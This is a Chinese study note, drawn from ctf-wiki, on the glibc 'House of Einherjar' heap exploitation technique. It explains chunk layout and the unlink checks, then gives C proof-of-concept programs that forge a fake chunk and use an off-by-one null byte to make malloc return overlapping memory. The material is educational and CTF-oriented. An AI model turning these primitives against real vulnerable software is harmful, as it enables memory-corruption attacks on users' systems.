House Of Einherjar 漏洞笔记

资料来源:ctf-wiki

前导知识

malloc_chunk结构

/*
  This struct declaration is misleading (but accurate and necessary).
  It declares a "view" into memory allowing access to necessary
  fields at known offsets from a given base. See explanation below.
*/
struct malloc_chunk {

  INTERNAL_SIZE_T      prev_size;  /* Size of previous chunk (if free).  */
  INTERNAL_SIZE_T      size;       /* Size in bytes, including overhead. */

  struct malloc_chunk* fd;         /* double links -- used only if free. */
  struct malloc_chunk* bk;

  /* Only used for large blocks: pointer to next larger size.  */
  struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
  struct malloc_chunk* bk_nextsize;
};

每个字段的具体的解释如下

  • prev_size, 如果该 chunk 的物理相邻的前一地址 chunk(两个指针的地址差值为前一 chunk 大小)是空闲的话,那该字段记录的是前一个 chunk 的大小 (包括 chunk 头)。否则,该字段可以用来存储物理相邻的前一个 chunk 的数据。这里的前一 chunk 指的是较低地址的 chunk
  • size ,该 chunk 的大小,大小必须是 2 * SIZE_SZ 的整数倍。如果申请的内存大小不是 2 * SIZE_SZ 的整数倍,会被转换满足大小的最小的 2 * SIZE_SZ 的倍数。32 位系统中,SIZE_SZ 是 4;64 位系统中,SIZE_SZ 是 8。 该字段的低三个比特位对 chunk 的大小没有影响,它们从高到低分别表示
    • NON_MAIN_ARENA,记录当前 chunk 是否不属于主线程,1 表示不属于,0 表示属于。
    • IS_MAPPED,记录当前 chunk 是否是由 mmap 分配的。
    • PREV_INUSE,记录前一个 chunk 块是否被分配。一般来说,堆中第一个被分配的内存块的 size 字段的 P 位都会被设置为 1,以便于防止访问前面的非法内存。当一个 chunk 的 size 的 P 位为 0 时,我们能通过 prev_size 字段来获取上一个 chunk 的大小以及地址。这也方便进行空闲 chunk 之间的合并。
  • fd,bk。 chunk 处于分配状态时,从 fd 字段开始是用户的数据。chunk 空闲时,会被添加到对应的空闲管理链表中,其字段的含义如下
    • fd 指向下一个(非物理相邻)空闲的 chunk
    • bk 指向上一个(非物理相邻)空闲的 chunk
    • 通过 fd 和 bk 可以将空闲的 chunk 块加入到空闲的 chunk 块链表进行统一管理
  • fd_nextsize, bk_nextsize,也是只有 chunk 空闲的时候才使用,不过其用于较大的 chunk(large chunk)。
    • fd_nextsize 指向前一个与当前 chunk 大小不同的第一个空闲块,不包含 bin 的头指针。
    • bk_nextsize 指向后一个与当前 chunk 大小不同的第一个空闲块,不包含 bin 的头指针。
    • 一般空闲的 large chunk 在 fd 的遍历顺序中,按照由大到小的顺序排列。这样做可以避免在寻找合适 chunk 时挨个遍历。

一个已经分配的 chunk 的样子如下。我们称前两个字段称为 chunk header,后面的部分称为 user data。每次 malloc 申请得到的内存指针,其实指向 user data 的起始处。

当一个 chunk 处于使用状态时,它的下一个 chunk 的 prev_size 域无效,所以下一个 chunk 的该部分也可以被当前 chunk 使用。这就是 chunk 中的空间复用。

unlink操作

glibc-2.27/malloc/malloc.c:1403

/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) {                                            \
\
\/* 由于 P 已经在双向链表中,所以有两个地方记录其大小,所以检查一下其大小是否一致(size检查) */\
    \/* 1. prev_size 检查 */\
    if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      \
      malloc_printerr ("corrupted size vs. prev_size");            \
    FD = P->fd;                      \
    BK = P->bk;                      \
    \
    \/* 检查 fd 和 bk 指针(双向链表完整性检查) */\
    \/* 2. 双向链表完整性检查 */\
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))          \
      malloc_printerr ("corrupted double-linked list");            \
    else {                      \
        FD->bk = BK;                    \
        BK->fd = FD;                    \
        if (!in_smallbin_range (chunksize_nomask (P))            \
            && __builtin_expect (P->fd_nextsize != NULL, 0)) {          \
            \
            \/* largebin 中 next_size 双向链表完整性检查 */\
      if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)        \
    || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    \
        malloc_printerr ("corrupted double-linked list (not small)");   \
            if (FD->fd_nextsize == NULL) {              \
                if (P->fd_nextsize == P)              \
                  FD->fd_nextsize = FD->bk_nextsize = FD;          \
                else {                    \
                    FD->fd_nextsize = P->fd_nextsize;            \
                    FD->bk_nextsize = P->bk_nextsize;            \
                    P->fd_nextsize->bk_nextsize = FD;            \
                    P->bk_nextsize->fd_nextsize = FD;            \
                  }                    \
              } else {                    \
                P->fd_nextsize->bk_nextsize = P->bk_nextsize;          \
                P->bk_nextsize->fd_nextsize = P->fd_nextsize;          \
              }                      \
          }                      \
      }                        \
}

unlink的诀窍就是通过验证,我们需要

  • fake_chunk->fd == (struct malloc_chunk *)P
  • fake_chunk->bk == (struct malloc_chunk *)P

注意

在glibc2.23的源码中unlink是没有prev_size检查的,但是发行的Linux版本中有prev_size检查。

House Of Einherjar

注意

glibc-2.26及以上的版本由于有tcache机制,使用该漏洞时,需要先绕过tcache。

诀窍

off by one 修改下一个堆块的 prev_size、修改下一个堆块的 PREV_INUSE 比特位。

溢出后

假设我们将 p1 的 prev_size 字段设置为我们想要的目的 chunk 位置与 p1 的差值。在溢出后,我们释放 p1,则我们所得到的新的 chunk 的位置 chunk_at_offset(p1, -((long) prevsize)) 就是我们想要的 chunk 位置了。

代码演示

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

struct malloc_chunk
{
    size_t prev_size; /* Size of previous chunk (if free).  */
    size_t size;      /* Size in bytes, including overhead. */

    struct malloc_chunk *fd; /* double links -- used only if free. */
    struct malloc_chunk *bk;

    /* Only used for large blocks: pointer to next larger size.  */
    struct malloc_chunk *fd_nextsize; /* double links -- used only if free. */
    struct malloc_chunk *bk_nextsize;
};

char *payload1 = "aaaaaaaaaaaaaaaa"                 // 0x10 个a
                 "\x20\x02\x00\x00\x00\x00\x00\x00" // 0x220
                 "\x00";        //  很多函数都会对结尾进行\x00 填充
                                //  造成了该漏洞

int main()
{
    struct malloc_chunk *fake_chunk;
    char *s0,*s1,*s2,*s3,*ptr;

    s0 = malloc(0x200); //构造fake chunk
    s1 = malloc(0x18);
    s2 = malloc(0xf0);
    s3 = malloc(0x20); //为了不让s2与top chunk 合并

    // 伪造假的chunk
    fake_chunk = (struct malloc_chunk *)s0;
    fake_chunk->prev_size = 0;
    // 绕过 prev_size 检查
    fake_chunk->size = 0x201;
    // 绕过 双向链表完整性检查
    fake_chunk->fd = (struct malloc_chunk *)s0;
    fake_chunk->bk = (struct malloc_chunk *)s0;

    memcpy(s1, payload1, 0x18 + 1); //Off By One
    free(s2);

    ptr = malloc(0x310);

    printf("s0: %p\nptr: %p\nptr - s0 : 0x%lx\n",s0,ptr,ptr-s0);

    return 0;
}

补充

由于prev_size 检查是下面这样的:

glibc-2.27/malloc/malloc.c:1405

if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      \
  malloc_printerr ("corrupted size vs. prev_size");            \

所以只需要再伪造 fake chunk 的 next chunk 的 prev_size 字段就好了
如下所示:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

struct malloc_chunk
{
    size_t prev_size; /* Size of previous chunk (if free).  */
    size_t size;      /* Size in bytes, including overhead. */

    struct malloc_chunk *fd; /* double links -- used only if free. */
    struct malloc_chunk *bk;

    /* Only used for large blocks: pointer to next larger size.  */
    struct malloc_chunk *fd_nextsize; /* double links -- used only if free. */
    struct malloc_chunk *bk_nextsize;
};

char *payload1 = "aaaaaaaaaaaaaaaa"                 // 0x10 个a
                 "\x20\x02\x00\x00\x00\x00\x00\x00" // 0x220
                 "\x00";        //  很多函数都会对结尾进行\x00 填充
                                //  造成了该漏洞

int main()
{
    struct malloc_chunk *fake_chunk,*fake_chunk2; // mod
    char *s0,*s1,*s2,*s3,*ptr;

    s0 = malloc(0x200); //构造fake chunk
    s1 = malloc(0x18);
    s2 = malloc(0xf0);
    s3 = malloc(0x20); //为了不让s2与top chunk 合并

    // 伪造假的chunk
    fake_chunk = (struct malloc_chunk *)s0;
    fake_chunk2 = (struct malloc_chunk *)s0 + 1; // +
    fake_chunk->prev_size = 0;
    // 绕过 prev_size 检查
    fake_chunk->size = sizeof(struct malloc_chunk);
    // 绕过 双向链表完整性检查
    fake_chunk->fd = (struct malloc_chunk *)s0;
    fake_chunk->bk = (struct malloc_chunk *)s0;

    // 绕过 prev_size 检查
    fake_chunk2->prev_size = sizeof(struct malloc_chunk); // +

    memcpy(s1, payload1, 0x18 + 1); //Off By One
    free(s2);

    ptr = malloc(0x310);

    printf("s0: %p\nptr: %p\nptr - s0 : 0x%lx\n",s0,ptr,ptr-s0);

    return 0;
}

总结

多写多记多练,耀眼的成就往往源于默默地耕耘。